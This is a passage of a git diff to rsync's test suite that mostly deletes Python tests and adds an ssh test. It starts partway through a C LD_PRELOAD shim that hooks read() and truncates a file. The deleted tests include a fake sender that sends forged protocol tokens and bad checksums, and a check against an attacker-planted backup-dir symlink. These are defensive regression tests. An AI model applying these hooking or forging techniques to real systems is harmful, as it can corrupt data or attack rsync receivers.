_GNU_SOURCE 1\n-#include <dlfcn.h>\n-#include <errno.h>\n-#include <fcntl.h>\n-#include <limits.h>\n-#include <stddef.h>\n-#include <stdio.h>\n-#include <stdlib.h>\n-#include <string.h>\n-#include <unistd.h>\n-\n-static char target_path[PATH_MAX];\n-static int triggered;\n-static int resolving;\n-\n-__attribute__((constructor))\n-static void mark_loaded(void)\n-{\n-\tconst char *mark = getenv(\"RSYNC_SHRINK_LOAD_MARK\");\n-\tint fd;\n-\n-\tif (!mark || !*mark)\n-\t\treturn;\n-\tfd = open(mark, O_WRONLY | O_CREAT | O_TRUNC, 0600);\n-\tif (fd >= 0) {\n-\t\t(void)write(fd, \"loaded\\n\", 7);\n-\t\t(void)close(fd);\n-\t}\n-}\n-\n-static void init_target(void)\n-{\n-\tconst char *env;\n-\n-\tif (target_path[0])\n-\t\treturn;\n-\tenv = getenv(\"RSYNC_SHRINK_TARGET\");\n-\tif (!env || !*env)\n-\t\treturn;\n-\tif (!realpath(env, target_path)) {\n-\t\tstrncpy(target_path, env, sizeof target_path - 1);\n-\t\ttarget_path[sizeof target_path - 1] = '\\0';\n-\t}\n-}\n-\n-static int fd_is_target(int fd)\n-{\n-\tchar procpath[64];\n-\tchar actual[PATH_MAX];\n-\tssize_t n;\n-\n-\tinit_target();\n-\tif (!target_path[0])\n-\t\treturn 0;\n-\tsnprintf(procpath, sizeof procpath, \"/proc/self/fd/%d\", fd);\n-\tn = readlink(procpath, actual, sizeof actual - 1);\n-\tif (n < 0)\n-\t\treturn 0;\n-\tactual[n] = '\\0';\n-\treturn strcmp(actual, target_path) == 0;\n-}\n-\n-ssize_t read(int fd, void *buf, size_t count)\n-{\n-\tstatic ssize_t (*real_read)(int, void *, size_t);\n-\n-\tif (!real_read) {\n-\t\treal_read = (ssize_t (*)(int, void *, size_t))dlsym(RTLD_NEXT, \"read\");\n-\t\tif (!real_read) {\n-\t\t\terrno = EIO;\n-\t\t\treturn -1;\n-\t\t}\n-\t}\n-\n-\tif (!triggered && !resolving) {\n-\t\tresolving = 1;\n-\t\tif (fd_is_target(fd)) {\n-\t\t\tconst char *mark = getenv(\"RSYNC_SHRINK_MARK\");\n-\t\t\ttriggered = 1;\n-\t\t\tif (truncate(target_path, 0) == 0 && mark && *mark) {\n-\t\t\t\tint mfd = open(mark, O_WRONLY | O_CREAT | O_TRUNC, 0600);\n-\t\t\t\tif (mfd >= 0) {\n-\t\t\t\t\t(void)write(mfd, \"shrunk\\n\", 7);\n-\t\t\t\t\t(void)close(mfd);\n-\t\t\t\t}\n-\t\t\t}\n-\t\t}\n-\t\tresolving = 0;\n-\t}\n-\n-\treturn real_read(fd, buf, count);\n-}\n-'''\n-\n-\n-def compiler():\n-    cc = os.environ.get('CC')\n-    if cc:\n-        return shlex.split(cc)\n-    for name in ('cc', 'gcc', 'clang'):\n-        path = shutil.which(name)\n-        if path:\n-            return [path]\n-    return None\n-\n-\n-def build_shim():\n-    if not sys.platform.startswith('linux'):\n-        test_skipped('source-size-change regression uses LD_PRELOAD and '\n-                     '/proc/self/fd to synchronise the source read')\n-    cc = compiler()\n-    if not cc:\n-        test_skipped('no C compiler available to build the source-read shim')\n-\n-    cfile = SCRATCHDIR / 'source_shrink_read.c'\n-    sofile = SCRATCHDIR / 'source_shrink_read.so'\n-    cfile.write_text(SHIM_C)\n-    proc = subprocess.run(\n-        cc + ['-shared', '-fPIC', '-O2', '-Wall', '-Wextra',\n-              '-o', str(sofile), str(cfile), '-ldl'],\n-        stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-    if proc.returncode != 0 or not sofile.is_file():\n-        test_skipped('could not build the source-read shim:\\n'\n-                     + (proc.stdout or '').strip())\n-    return sofile\n-\n-\n-first = split_rsync_cmd(RSYNC)[0] if RSYNC else ''\n-if os.path.basename(first) == 'valgrind':\n-    test_skipped('LD_PRELOAD read hook is not meaningful under valgrind')\n-\n-base = SCRATCHDIR / 'source-change-size'\n-src = base / 'src'\n-dest = base / 'dest'\n-rmtree(base)\n-makepath(src, dest)\n-\n-changing = src / '01-changing.bin'\n-later = src / '02-later.txt'\n-make_data_file(changing, 1024 * 1024)\n-later.write_text('later file must still transfer\\n')\n-\n-shim = build_shim()\n-mark = SCRATCHDIR / 'source_shrink_read.mark'\n-load_mark = SCRATCHDIR / 'source_shrink_load.mark'\n-mark.unlink(missing_ok=True)\n-load_mark.unlink(missing_ok=True)\n-env = os.environ.copy()\n-env['LD_PRELOAD'] = str(shim)\n-env['RSYNC_SHRINK_TARGET'] = str(changing.resolve())\n-env['RSYNC_SHRINK_MARK'] = str(mark)\n-env['RSYNC_SHRINK_LOAD_MARK'] = str(load_mark)\n-\n-argv = rsync_argv('-a', '--no-whole-file', f'{src}/', f'{dest}/')\n-print('Running:', ' '.join(argv))\n-proc = subprocess.run(argv, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,\n-                      text=True, env=env)\n-out = proc.stdout or ''\n-print(out, end='')\n-\n-if not load_mark.exists():\n-    test_skipped('source-read shim was not exercised; rsync may be static or '\n-                 'the platform ignored LD_PRELOAD')\n-if not mark.exists():\n-    test_fail('source-read shim loaded but did not target the changing source '\n-              'file')\n-\n-if proc.returncode == 0:\n-    test_fail('rsync succeeded even though the shim forced a source read error; '\n-              'expected a partial-transfer diagnosis')\n-if proc.returncode != 23:\n-    test_fail(f'expected partial-transfer exit 23 after the source changed '\n-              f'size; got {proc.returncode}:\\n{out}')\n-\n-if not (dest / later.name).is_file():\n-    test_fail('sender aborted before transferring the later file-list entry')\n-assert_same(later, dest / later.name, label='later file')\n-\n-if 'read errors mapping' not in out:\n-    test_fail('rsync exited 23 but did not report the sender-side changed-source '\n-              'diagnosis:\\n' + out)\n-\n-print('source-change-size-continues: changed source file produced a partial '\n-      'transfer while a later file-list entry still transferred')\ndiff --git a/testsuite/sparse_test.py b/testsuite/sparse_test.py\ndeleted file mode 100644\nindex 898ed8c..0000000\n--- a/testsuite/sparse_test.py\n+++ /dev/null\n@@ -1,59 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Coverage of -S (--sparse) at depth.\n-\n-A file with a large hole, several directory levels deep, should arrive sparse\n-(its allocated blocks much smaller than its apparent size) and byte-identical\n-when copied with -S.\n-\n-We do NOT assert the converse (that a plain copy fills the hole): whether a\n-zero-run is stored as a hole when -S is absent is the filesystem's choice, not\n-rsync's -- ZFS/APFS transparently sparsify zero blocks, so a --no-sparse copy\n-can legitimately stay sparse there.\n-\"\"\"\n-\n-import os\n-\n-from rsyncfns import (\n-    FROMDIR, TODIR,\n-    assert_same, makepath, rmtree, run_rsync, test_fail, test_skipped,\n-)\n-\n-src = FROMDIR\n-deep = os.path.join('d1', 'd2', 'd3', 'holey')\n-SIZE = 4 * 1024 * 1024\n-\n-\n-def make_sparse(path):\n-    with open(path, 'wb') as f:\n-        f.write(b'head')\n-        f.seek(SIZE - 4)\n-        f.write(b'tail')\n-\n-\n-def allocated(path):\n-    return os.stat(path).st_blocks * 512\n-\n-\n-rmtree(src)\n-rmtree(TODIR)\n-makepath(src / 'd1' / 'd2' / 'd3')\n-make_sparse(src / deep)\n-\n-# Confirm the source filesystem actually made a sparse file; otherwise the\n-# whole premise (and any dest comparison) is meaningless here.\n-if allocated(src / deep) >= SIZE:\n-    test_skipped(\"source filesystem did not create a sparse file\")\n-\n-# --- with -S the hole is preserved at the destination -----------------------\n-run_rsync('-a', '-S', f'{src}/', f'{TODIR}/')\n-assert_same(TODIR / deep, src / deep, label='-S content')\n-if allocated(TODIR / deep) >= SIZE:\n-    test_fail(f\"-S did not preserve the hole at depth \"\n-              f\"(allocated {allocated(TODIR / deep)} for a {SIZE}-byte file)\")\n-\n-# --- a plain copy reproduces the content too (allocation is FS-defined) ------\n-rmtree(TODIR)\n-run_rsync('-a', '--no-sparse', f'{src}/', f'{TODIR}/')\n-assert_same(TODIR / deep, src / deep, label='no-sparse content')\n-\n-print(\"sparse: -S preserves a deep hole; content correct with and without it\")\ndiff --git a/testsuite/ssh-basic.test b/testsuite/ssh-basic.test\nnew file mode 100644\nindex 0000000..1559ca2\n--- /dev/null\n+++ b/testsuite/ssh-basic.test\n@@ -0,0 +1,34 @@\n+#!/bin/sh\n+\n+# Copyright (C) 1998,1999 Philip Hands <phil@hands.com>\n+# Copyright (C) 2001 by Martin Pool <mbp@samba.org>\n+\n+# This program is distributable under the terms of the GNU GPL (see\n+# COPYING)\n+\n+# This script tests ssh, if possible.  It's called by runtests.sh\n+\n+. \"$suitedir/rsync.fns\"\n+\n+SSH=\"$scratchdir/src/support/lsh.sh\"\n+\n+if test x\"$rsync_enable_ssh_tests\" = xyes; then\n+    if type ssh >/dev/null; then\n+\tSSH=ssh\n+    fi\n+fi\n+\n+if [ \"`$SSH -o'BatchMode yes' localhost echo yes`\" != \"yes\" ]; then\n+    test_skipped \"Skipping SSH tests because ssh connection to localhost not authorised\"\n+fi\n+\n+echo \"Using remote shell: $SSH\"\n+\n+# Create some files for rsync to copy\n+hands_setup\n+\n+runtest \"ssh: basic test\" 'checkit \"$RSYNC -avH -e \\\"$SSH\\\" --rsync-path=\\\"$RSYNC\\\" \\\"$fromdir/\\\" \\\"localhost:$todir\\\"\" \"$fromdir/\" \"$todir\"'\n+\n+mv \"$todir/text\" \"$todir/ThisShouldGo\"\n+\n+runtest \"ssh: renamed file\" 'checkit \"$RSYNC --delete -avH -e \\\"$SSH\\\" --rsync-path=\\\"$RSYNC\\\" \\\"$fromdir/\\\" \\\"localhost:$todir\\\"\" \"$fromdir/\" \"$todir\"'\ndiff --git a/testsuite/ssh-basic_test.py b/testsuite/ssh-basic_test.py\ndeleted file mode 100644\nindex b41b0ff..0000000\n--- a/testsuite/ssh-basic_test.py\n+++ /dev/null\n@@ -1,59 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/ssh-basic.test.\n-#\n-# Basic two-step \"remote shell\" transfer via lsh.sh (or real ssh if\n-# rsync_enable_ssh_tests=yes is set in shconfig). Confirms that an -e\n-# RSH transfer reproduces the source tree on the destination, and that\n-# a follow-up --delete pass cleans up after a destination-side rename.\n-\n-import os\n-import shlex\n-import shutil\n-import subprocess\n-\n-from rsyncfns import (\n-    FROMDIR, SRCDIR, TODIR,\n-    checkit, hands_setup, runtest, test_skipped, rsync_path_arg, rsh_cmd,\n-)\n-\n-\n-SSH = rsh_cmd()\n-\n-# Allow opting into real ssh via the shconfig variable, like the shell test.\n-if os.environ.get('rsync_enable_ssh_tests') == 'yes':\n-    real_ssh = shutil.which('ssh')\n-    if real_ssh:\n-        SSH = real_ssh\n-\n-# SSH is quoted for rsync's own tokenizer (a build path with '~' or a space\n-# comes out in quotes), so split it the same way before exec'ing it directly.\n-probe = subprocess.run(\n-    [*shlex.split(SSH), '-oBatchMode yes', 'localhost', 'echo', 'yes'],\n-    capture_output=True, text=True,\n-)\n-if probe.stdout.strip() != 'yes':\n-    test_skipped(\n-        \"Skipping SSH tests because ssh connection to localhost not authorised\"\n-    )\n-\n-print(f\"Using remote shell: {SSH}\")\n-\n-hands_setup()\n-\n-# RSYNC may be a multi-word command line; pass it through --rsync-path.\n-from rsyncfns import RSYNC, RSYNC_PEER\n-\n-\n-def _basic():\n-    checkit(['-avH', '-e', SSH, f'--rsync-path={rsync_path_arg()}',\n-             f'{FROMDIR}/', f'localhost:{TODIR}'], FROMDIR, TODIR)\n-\n-\n-def _delete_after_rename():\n-    shutil.move(str(TODIR / 'text'), str(TODIR / 'ThisShouldGo'))\n-    checkit(['--delete', '-avH', '-e', SSH, f'--rsync-path={rsync_path_arg()}',\n-             f'{FROMDIR}/', f'localhost:{TODIR}'], FROMDIR, TODIR)\n-\n-\n-runtest(\"ssh: basic test\", _basic)\n-runtest(\"ssh: renamed file\", _delete_after_rename)\ndiff --git a/testsuite/stdio_daemon.py b/testsuite/stdio_daemon.py\ndeleted file mode 100644\nindex d7258d9..0000000\n--- a/testsuite/stdio_daemon.py\n+++ /dev/null\n@@ -1,74 +0,0 @@\n-\"\"\"Launch one rsync daemon session over a loopback TCP connection.\"\"\"\n-\n-import socket\n-import subprocess\n-\n-import rsync_proto as rp\n-\n-from rsyncfns import rsync_argv\n-\n-\n-def _client_for_socket(sock, timeout=10):\n-    client = object.__new__(rp.DaemonClient)\n-    client.sock = sock\n-    client.sock.settimeout(timeout)\n-    client.protocol = rp.DEFAULT_PROTOCOL\n-    client.compat_flags = None\n-    client.seed = None\n-    client.xfer_sum_len = 16\n-    client._rbuf = b''\n-    client._ndx_prev_positive = -1\n-    client._ndx_prev_negative = 1\n-    client._mux_in = b''\n-    client._r_ndx_prev_positive = -1\n-    client._r_ndx_prev_negative = 1\n-    client.messages = []\n-    return client\n-\n-\n-def start_stdio_daemon(conf, timeout=10, env=None):\n-    \"\"\"Return ``(DaemonClient, Popen)`` for one daemon connection.\"\"\"\n-    listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n-    parent = None\n-    try:\n-        listener.bind(('127.0.0.1', 0))\n-        listener.listen(1)\n-        parent = socket.create_connection(listener.getsockname(), timeout)\n-        child, _ = listener.accept()\n-    except OSError:\n-        if parent is not None:\n-            parent.close()\n-        raise\n-    finally:\n-        listener.close()\n-    try:\n-        proc = subprocess.Popen(\n-            rsync_argv('--daemon', '--no-detach', f'--config={conf}'),\n-            stdin=child.fileno(), stdout=child.fileno(),\n-            stderr=subprocess.PIPE, close_fds=True, env=env,\n-        )\n-    except Exception:\n-        parent.close()\n-        child.close()\n-        raise\n-    child.close()\n-    return _client_for_socket(parent, timeout), proc\n-\n-\n-def finish_stdio_daemon(client, proc, timeout=5):\n-    \"\"\"Close a test session and return the daemon's stderr text.\"\"\"\n-    try:\n-        client.drain(timeout=0.25)\n-    except OSError:\n-        pass\n-    client.close()\n-    try:\n-        proc.wait(timeout=timeout)\n-    except subprocess.TimeoutExpired:\n-        proc.terminate()\n-        try:\n-            proc.wait(timeout=timeout)\n-        except subprocess.TimeoutExpired:\n-            proc.kill()\n-            proc.wait(timeout=timeout)\n-    return proc.stderr.read().decode('utf-8', 'replace') if proc.stderr else ''\ndiff --git a/testsuite/stop-time_test.py b/testsuite/stop-time_test.py\ndeleted file mode 100644\nindex 8642ce4..0000000\n--- a/testsuite/stop-time_test.py\n+++ /dev/null\n@@ -1,45 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Coverage of --stop-at (options.c parse_time) and --stop-after.\n-\n---stop-at parses an absolute y-m-dTh:m time (parse_time): a future time is\n-accepted and the transfer proceeds; a past time is rejected at parse. --stop-after\n-takes a minute count. These exercise the OPT_STOP_AT/OPT_STOP_AFTER option\n-handling that no other test reaches.\n-\"\"\"\n-\n-from datetime import datetime, timedelta\n-\n-from rsyncfns import (\n-    FROMDIR, TODIR,\n-    assert_same, make_tree, rmtree, run_rsync, test_fail, walk_files,\n-)\n-\n-src = FROMDIR\n-rmtree(src)\n-make_tree(src, depth=2)\n-rels = [p.relative_to(src) for p in walk_files(src)]\n-\n-# --- --stop-at in the future: parses, transfer completes normally -----------\n-# Generated relative to now (a day ahead) rather than a fixed far-future date:\n-# rsync rejects a --stop-at that isn't strictly in the future, and a hard-coded\n-# year would date-rot and can overflow a 32-bit time_t.\n-future = (datetime.now() + timedelta(days=1)).strftime('%Y-%m-%dT%H:%M')\n-rmtree(TODIR)\n-run_rsync('-a', f'--stop-at={future}', f'{src}/', f'{TODIR}/')\n-for rel in rels:\n-    assert_same(TODIR / rel, src / rel, label=f'--stop-at future {rel}')\n-\n-# --- --stop-at in the past: rejected at parse -------------------------------\n-rmtree(TODIR)\n-proc = run_rsync('-a', '--stop-at=2000-01-01T00:00', f'{src}/', f'{TODIR}/',\n-                 check=False)\n-if proc.returncode == 0:\n-    test_fail(\"--stop-at with a past time was not rejected\")\n-\n-# --- --stop-after (minutes): parses, transfer completes ---------------------\n-rmtree(TODIR)\n-run_rsync('-a', '--stop-after=60', f'{src}/', f'{TODIR}/')\n-for rel in rels:\n-    assert_same(TODIR / rel, src / rel, label=f'--stop-after {rel}')\n-\n-print(\"stop-time: --stop-at future/past and --stop-after verified\")\ndiff --git a/testsuite/strict-basis_test.py b/testsuite/strict-basis_test.py\ndeleted file mode 100644\nindex 100a567..0000000\n--- a/testsuite/strict-basis_test.py\n+++ /dev/null\n@@ -1,253 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Ensure forged partial-dir basis tokens cannot enable in-place writes.\"\"\"\n-\n-import hashlib\n-import os\n-import socket\n-import struct\n-import subprocess\n-\n-from rsyncfns import (\n-    TODIR,\n-    hands_setup,\n-    makepath,\n-    rmtree,\n-    rsync_argv,\n-    test_fail,\n-    test_skipped,\n-)\n-import rsync_proto as rp\n-\n-hands_setup()\n-\n-CF_INPLACE_PARTIAL_DIR = 1 << 6\n-FNAMECMP_BASIS_DIR_LOW = 0x00\n-FNAMECMP_PARTIAL_DIR = 0x81\n-ITEM_BASIS_TYPE_FOLLOWS = 1 << 11\n-ITEM_XNAME_FOLLOWS = 1 << 12\n-\n-ORIGINAL_DATA = b\"ORIGINAL_DEST_BYTES_KEEP_ME\\n\"\n-MODIFIED_DATA = b\"MODIFIED_INPLACE_DESPITE_BAD_CHECKSUM\\n\"\n-INVALID_MD5 = b\"\\x00\" * 16\n-MODTIME = 1_700_000_000\n-EXPECTED_PROTOCOL_ERROR = \"error in rsync protocol data stream\"\n-TEST_DATA = b\"STRICT_NOFOLLOW_REQUIRED\\n\"\n-\n-\n-def drain_argv(peer):\n-    nul_run = 0\n-    while nul_run < 2:\n-        byte = peer._recv_exact(1)\n-        nul_run = nul_run + 1 if byte == b\"\\0\" else 0\n-\n-\n-def read_mux_bytes(peer, buf, count):\n-    while len(buf) < count:\n-        word = struct.unpack(\"<I\", peer._recv_exact(4))[0]\n-        payload = peer._recv_exact(word & 0xFFFFFF)\n-        if (word >> 24) - rp.MPLEX_BASE == rp.MSG_DATA:\n-            buf.extend(payload)\n-    result = bytes(buf[:count])\n-    del buf[:count]\n-    return result\n-\n-\n-def read_mux_int(peer, buf):\n-    return struct.unpack(\"<i\", read_mux_bytes(peer, buf, 4))[0]\n-\n-\n-def read_mux_short(peer, buf):\n-    return struct.unpack(\"<H\", read_mux_bytes(peer, buf, 2))[0]\n-\n-\n-def read_mux_byte(peer, buf):\n-    return read_mux_bytes(peer, buf, 1)[0]\n-\n-\n-def read_mux_ndx(peer, buf):\n-    first = read_mux_byte(peer, buf)\n-    if first == 0:\n-        return rp.NDX_DONE\n-    if first == 0xFF:\n-        raise RuntimeError(\"generator sent negative index\")\n-    if first == 0xFE:\n-        value = read_mux_bytes(peer, buf, 2)\n-        if value[0] & 0x80:\n-            rest = read_mux_bytes(peer, buf, 2)\n-            return ((value[0] & 0x7F) << 24) | value[1] | (rest[0] << 8) | (rest[1] << 16)\n-        return (value[0] << 8) + value[1] - 1\n-    return first - 1\n-\n-\n-def drain_generator_request(peer, buf):\n-    while True:\n-        count = read_mux_int(peer, buf)\n-        if count == 0:\n-            break\n-        read_mux_bytes(peer, buf, count)\n-\n-    while True:\n-        index = read_mux_ndx(peer, buf)\n-        if index == rp.NDX_DONE:\n-            raise RuntimeError(\"generator sent NDX_DONE\")\n-        flags = read_mux_short(peer, buf)\n-        if flags & ITEM_BASIS_TYPE_FOLLOWS:\n-            read_mux_byte(peer, buf)\n-        if flags & ITEM_XNAME_FOLLOWS:\n-            length = read_mux_byte(peer, buf)\n-            if length & 0x80:\n-                length = (length & 0x7F) * 0x100 + read_mux_byte(peer, buf)\n-            if length:\n-                read_mux_bytes(peer, buf, length)\n-        count = read_mux_int(peer, buf)\n-        for _ in range(3):\n-            read_mux_int(peer, buf)\n-        for _ in range(count):\n-            read_mux_int(peer, buf)\n-        if flags & rp.ITEM_TRANSFER:\n-            return index\n-\n-\n-def run_synthetic_sender(client_args, uri_path, dest_path, inject_fault):\n-    listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n-    listener.bind((\"127.0.0.1\", 0))\n-    listener.listen(1)\n-    port = listener.getsockname()[1]\n-    command = rsync_argv(\"--protocol=30\", \"-r\", \"--no-whole-file\") + client_args\n-    command += [f\"rsync://127.0.0.1:{port}/{uri_path}\", f\"{dest_path}/\"]\n-    process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-    client, _ = listener.accept()\n-    client.settimeout(15)\n-    peer = rp.DaemonReceiver(client)\n-\n-    try:\n-        peer.handshake(compat_flags=CF_INPLACE_PARTIAL_DIR, seed=0x12345678)\n-        drain_argv(peer)\n-        entry = rp.FileEntry(\"keep\", mode=rp.S_IFREG | 0o644,\n-                             length=len(MODIFIED_DATA), modtime=MODTIME)\n-        peer.send_data(entry.encode() + rp.end_of_flist())\n-        buf = bytearray()\n-        index = drain_generator_request(peer, buf)\n-\n-        body = bytearray()\n-        body += rp.w_shortint(rp.ITEM_TRANSFER | ITEM_BASIS_TYPE_FOLLOWS)\n-        body += rp.w_byte(FNAMECMP_PARTIAL_DIR)\n-        body += rp.w_sum_head(0, 0, 0, 0)\n-        body += rp.w_int(len(MODIFIED_DATA)) + MODIFIED_DATA\n-        body += rp.w_int(0)\n-        body += INVALID_MD5 if inject_fault else hashlib.md5(MODIFIED_DATA).digest()\n-\n-        response = bytearray(peer.w_ndx(index))\n-        response += body\n-        response += peer.w_ndx(rp.NDX_DONE) * 4\n-        peer.send_data(bytes(response))\n-    finally:\n-        peer.drain(timeout=3)\n-        peer.close()\n-        listener.close()\n-\n-    stdout, _ = process.communicate(timeout=10)\n-    return process.returncode, stdout\n-\n-\n-def run_basis_sender(client_args, dest_path, inject_fault):\n-    listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n-    listener.bind((\"127.0.0.1\", 0))\n-    listener.listen(1)\n-    port = listener.getsockname()[1]\n-    command = rsync_argv(\"--protocol=30\", \"-r\", \"--no-whole-file\") + client_args\n-    command += [f\"rsync://127.0.0.1:{port}/mod/\", f\"{dest_path}/\"]\n-    process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-    client, _ = listener.accept()\n-    client.settimeout(15)\n-    peer = rp.DaemonReceiver(client)\n-\n-    try:\n-        peer.handshake(compat_flags=CF_INPLACE_PARTIAL_DIR, seed=0x12345678)\n-        drain_argv(peer)\n-        entry = rp.FileEntry(\"f\", mode=rp.S_IFREG | 0o644,\n-                             length=len(TEST_DATA), modtime=MODTIME)\n-        peer.send_data(entry.encode() + rp.end_of_flist())\n-        buf = bytearray()\n-        index = drain_generator_request(peer, buf)\n-\n-        body = bytearray()\n-        body += rp.w_shortint(rp.ITEM_TRANSFER | ITEM_BASIS_TYPE_FOLLOWS)\n-        body += rp.w_byte(FNAMECMP_BASIS_DIR_LOW)\n-        body += rp.w_sum_head(1, len(TEST_DATA), 16, len(TEST_DATA))\n-        body += rp.w_int(-1) + rp.w_int(0)\n-        body += INVALID_MD5 if inject_fault else hashlib.md5(TEST_DATA).digest()\n-\n-        response = bytearray(peer.w_ndx(index))\n-        response += body\n-        response += peer.w_ndx(rp.NDX_DONE) * 4\n-        peer.send_data(bytes(response))\n-    finally:\n-        peer.drain(timeout=3)\n-        peer.close()\n-        listener.close()\n-\n-    stdout, _ = process.communicate(timeout=10)\n-    return process.returncode, stdout\n-\n-\n-print(\"=== Test 1: Operator-path leaf symlink rejection ===\", flush=True)\n-rmtree(TODIR)\n-dest = TODIR / \"dest\"\n-linkdest = TODIR / \"linkdest\"\n-makepath(dest, linkdest)\n-(linkdest / \"f\").write_bytes(TEST_DATA)\n-\n-_, output = run_basis_sender([f\"--link-dest={linkdest}\", \"--partial\"], dest, False)\n-if not (dest / \"f\").is_file() or (dest / \"f\").read_bytes() != TEST_DATA:\n-    test_fail(\"regular alt-dest basis control failed:\\n\" + output)\n-\n-rmtree(TODIR)\n-dest = TODIR / \"dest\"\n-linkdest = TODIR / \"linkdest\"\n-target = TODIR / \"outside-target\"\n-makepath(dest, linkdest)\n-target.write_bytes(TEST_DATA)\n-try:\n-    os.symlink(str(target), linkdest / \"f\")\n-except (OSError, NotImplementedError):\n-    test_skipped(\"leaf-symlink basis test requires symlink support\")\n-\n-ret, output = run_basis_sender([f\"--link-dest={linkdest}\", \"--partial\"], dest, True)\n-if ret == 0 or \"got a block match with no basis file\" not in output:\n-    test_fail(\"leaf symlink basis was not rejected:\\n\" + output)\n-if (dest / \"f\").is_file() and (dest / \"f\").read_bytes() == TEST_DATA:\n-    test_fail(\"receiver followed an alt-dest leaf symlink:\\n\" + output)\n-\n-\n-print(\"=== Test 1: Legitimate partial-dir transfer ===\", flush=True)\n-rmtree(TODIR)\n-dest = TODIR / \"dest\"\n-partial_dir = dest / \".rsync-partial\"\n-makepath(dest, partial_dir)\n-dest_file = dest / \"keep\"\n-partial_file = partial_dir / \"keep\"\n-partial_file.write_bytes(ORIGINAL_DATA)\n-\n-ret, output = run_synthetic_sender([\"--partial-dir=.rsync-partial\"], \"mod/keep\", dest, False)\n-if ret != 12 or EXPECTED_PROTOCOL_ERROR not in output \\\n-        or partial_file.exists() or not dest_file.is_file() \\\n-        or dest_file.read_bytes() != MODIFIED_DATA:\n-    test_fail(f\"legitimate partial-dir transfer failed (rc={ret}, \"\n-              f\"partial={partial_file.exists()}, file={dest_file.exists()}, \"\n-              f\"data={dest_file.read_bytes() if dest_file.exists() else None!r}):\\n\"\n-              + output)\n-\n-print(\"=== Test 2: Forged partial-dir token ===\", flush=True)\n-rmtree(TODIR)\n-makepath(dest)\n-dest_file.write_bytes(ORIGINAL_DATA)\n-\n-ret, output = run_synthetic_sender([], \"mod/keep\", dest, True)\n-if ret != 12 or EXPECTED_PROTOCOL_ERROR not in output:\n-    test_fail(\"forged FNAMECMP_PARTIAL_DIR token did not reach the expected \"\n-              f\"protocol failure (rc={ret}):\\n{output}\")\n-if not dest_file.is_file() or dest_file.read_bytes() != ORIGINAL_DATA:\n-    test_fail(\"forged partial-dir token changed the destination:\\n\" + output)\n-\n-print(\"SUCCESS: partial-dir state validation passed\", flush=True)\ndiff --git a/testsuite/symlink-dest-backupdir_test.py b/testsuite/symlink-dest-backupdir_test.py\ndeleted file mode 100644\nindex 26ca00c..0000000\n--- a/testsuite/symlink-dest-backupdir_test.py\n+++ /dev/null\n@@ -1,73 +0,0 @@\n-#!/usr/bin/env python3\n-# Destination config-path (--backup-dir) symlink confinement -- DETERMINISTIC.\n-#\n-# An attacker who controls a component of the destination plants a STATIC symlink\n-# as the backup directory, pointing OUTSIDE the destination tree.  When the\n-# receiver backs up files it is about to overwrite, a plain resolution writes\n-# each backup through the symlink, outside the tree (root-owned writes to an\n-# arbitrary location in the worst case).  The secure resolver must confine the\n-# backup write beneath the destination.\n-#\n-# No race is needed: unlike the bare write path -- where rsync re-creates a\n-# wrong-typed destination directory, normalising a flipped parent away -- the\n-# --backup-dir path follows the planted symlink directly, so a static symlink\n-# suffices.  (--temp-dir / --partial-dir do NOT work as escape vectors: rsync\n-# normalises them the same way it does the destination directory, so this is the\n-# one config-path that escapes deterministically.)  This complements the racy\n-# source/chdir tests and nondaemon-symlink-race (a single-file --backup-dir case)\n-# by confirming confinement across a small tree.\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, find_attacker_uid, rmtree, rsync_argv, test_fail, test_skipped,\n-)\n-\n-# Operator paths follow a uid0/euid-owned symlink (the operator's own backup\n-# dir) and refuse a foreign-owned one, so the escape vector is an ATTACKER-owned\n-# backup-dir symlink with rsync run as root.\n-if os.geteuid() != 0:\n-    test_skipped(\"requires root to plant a backup-dir symlink owned by a non-self uid\")\n-ATT_UID = find_attacker_uid()\n-if ATT_UID is None:\n-    test_skipped(\"no untrusted-uid user available for cross-uid plant\")\n-\n-\n-NFILES = 8\n-\n-base = SCRATCHDIR / 'destbackup'\n-src = base / 'src'\n-dest = base / 'dest'\n-outside = base / 'outside'\n-\n-rmtree(base)\n-# A small set of files the transfer will overwrite (so each triggers a backup).\n-# --backup-dir is resolved relative to the destination directory, so the planted\n-# symlink and the transfer target are both at the dest top level.\n-src.mkdir(parents=True)\n-dest.mkdir(parents=True)\n-for i in range(NFILES):\n-    # Different sizes so the transfer actually overwrites (triggering a backup);\n-    # equal-size content with matching mtimes would be skipped by the quick check.\n-    (src / f'f{i}').write_text(\"NEW-PUSHED-CONTENT\\n\")\n-    (dest / f'f{i}').write_text(\"OLD\\n\")\n-outside.mkdir(parents=True)\n-# Attacker-planted backup directory: a foreign-owned symlink pointing outside\n-# the dest tree (owned by the attacker uid, not root/the operator).\n-os.symlink('../outside', dest / 'bdir')\n-os.lchown(dest / 'bdir', ATT_UID, ATT_UID)\n-\n-subprocess.run(\n-    rsync_argv('-a', '--backup', '--backup-dir=bdir', f'{src}/', f'{dest}/'),\n-    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-\n-leaked = []\n-for root, _dirs, files in os.walk(outside):\n-    leaked += [os.path.join(root, f) for f in files]\n-if leaked:\n-    test_fail(\n-        \"backup escaped the destination tree via the planted --backup-dir \"\n-        f\"symlink: {sorted(leaked)} were created outside the tree. The secure \"\n-        \"resolver failed to confine the backup write.\")\n-# Nothing landed outside the tree -> the backup write was confined.\ndiff --git a/testsuite/symlink-dirlink-basis_test.py b/testsuite/symlink-dirlink-basis_test.py\ndeleted file mode 100644\nindex ffe368e..0000000\n--- a/testsuite/symlink-dirlink-basis_test.py\n+++ /dev/null\n@@ -1,201 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/symlink-dirlink-basis.test.\n-#\n-# Regression test for https://github.com/RsyncProject/rsync/issues/715:\n-# updating a file through a directory symlink with -K (--copy-dirlinks)\n-# regressed after the CVE-2026-29518 